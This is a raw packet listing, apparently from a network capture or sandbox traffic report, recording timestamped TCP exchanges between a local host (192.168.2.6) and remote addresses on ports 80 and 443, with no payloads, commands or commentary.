Dec 16, 2024 15:02:29.358290911 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.358699083 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.358735085 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.358755112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.358795881 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.359565020 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.359586954 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.359606981 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.359631062 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.360500097 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.360558987 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.360593081 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.361251116 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.361459017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.361569881 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.361603022 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.361618042 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.362401009 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.362458944 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.362472057 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.362513065 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.363367081 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.363456011 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.363504887 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.364309072 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.364628077 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.364670038 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.365571976 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.365648985 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.365690947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.366247892 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.366295099 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.366322041 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.366357088 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.367191076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.367244959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.367259979 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.367278099 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.368468046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.368509054 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.368635893 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.368668079 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.369180918 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.369215965 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.369302034 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.370023012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.370063066 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.370146990 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.370183945 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.370992899 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.371237993 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.371274948 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.371893883 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.371938944 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.371982098 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.372057915 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.372873068 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.372973919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.372975111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.373008013 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.373867035 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.373903990 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.373917103 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.373946905 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.374747038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.374787092 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.374866009 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.374939919 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.375746965 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.375838995 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.405528069 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:29.405572891 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:29.405879974 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:29.406209946 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:29.406220913 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:29.457387924 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.457406998 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.457448006 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.461585045 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.461637974 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.461663961 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.461826086 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.467463970 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.467514038 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.467552900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.467592955 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.476032972 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.476048946 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.476083994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.476139069 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.484483004 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.484615088 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.484659910 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.484710932 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.492955923 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.493051052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.493127108 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.493127108 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.517925024 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.517971992 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.517982960 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.518009901 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.518110991 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.518158913 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.518321037 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.518531084 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.519062996 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.519109964 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.519182920 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.519242048 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.519963980 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.520011902 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.520148039 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.520190954 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.520881891 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.520973921 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.521023989 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.521070957 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.521929026 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.521989107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.521992922 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.522034883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.522789955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.522840977 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.522861958 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.522903919 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.523739100 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.523792028 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.523909092 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.523951054 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.524668932 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.524709940 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.524769068 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.524806023 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.525618076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.525665998 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.525705099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.525747061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.526649952 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.526707888 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.526822090 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.526856899 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.527517080 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.527571917 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.527616978 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.527787924 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.528481960 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.528538942 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.528588057 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.528744936 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.529448032 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.529510021 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.529531002 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.529571056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.530381918 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.530440092 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.530476093 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.530750990 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.531356096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.531409025 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.531444073 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.531481981 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.532255888 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.532305002 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.532310963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.532347918 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.533294916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.533346891 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.533363104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.533402920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.534178019 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.534225941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.534339905 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.534405947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.535156965 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.535181046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.535202026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.535212994 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.536076069 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.536143064 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.536174059 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.536217928 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.537018061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.537061930 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.537177086 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.537221909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.537992001 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.538045883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.538075924 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.538283110 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.538985014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.539041042 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.539113998 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.539161921 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.539853096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.539908886 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.539985895 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.540333033 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.540817976 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.540869951 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.540983915 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.541249037 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.541762114 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.541807890 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.541857004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.542795897 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.542857885 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.542910099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.543005943 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.543657064 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.543708086 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.543787003 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.544116020 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.544619083 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.544693947 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.544744015 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.545751095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.545803070 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.545861959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.545968056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.546504021 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.546683073 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.546700954 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.546729088 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.547476053 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.547525883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.547575951 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.547617912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.548432112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.548485041 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.548521042 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.548562050 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.549483061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.549566031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.549566984 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.549607992 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.550396919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.550438881 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.550478935 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.550518036 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.551254988 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.551301003 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.551327944 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.551348925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.552239895 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.552295923 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.552336931 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.552431107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.553173065 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.553208113 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.553239107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.553248882 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.554156065 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.554183006 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.554234028 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.555068970 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.555125952 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.555162907 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.555263996 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.556013107 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.556070089 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.556175947 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.556217909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.556958914 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.557005882 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.557075977 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.557265043 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.558151007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.558196068 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.558332920 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.558382988 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.559175014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.559200048 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.559220076 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.559231043 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.559974909 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.560020924 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.560129881 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.560178041 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.560919046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.560964108 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.560988903 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.561026096 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.561717033 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.561804056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.561827898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.561873913 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.562813997 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.562869072 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.562916040 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.563028097 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.563864946 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.563921928 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.563972950 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.564012051 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.564728975 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.564786911 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.564793110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.564834118 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.565640926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.565686941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.565773010 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.565809011 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.566481113 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.566550016 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.566677094 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.566718102 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.567492008 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.567579031 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.582241058 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.582348108 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.582515955 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.582581043 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.586733103 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.586803913 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.587961912 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.588009119 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.588032007 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.588145971 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.596509933 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.596544027 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.596573114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.596589088 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.606261969 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.606333017 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.606389046 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.606436968 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.613507032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.613559961 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.650274038 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.650360107 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.650381088 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.650413036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.654746056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.654809952 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.654813051 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.654866934 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.662754059 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.662869930 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.662900925 CET	80	49911	185.215.113.206	192.168.2.6
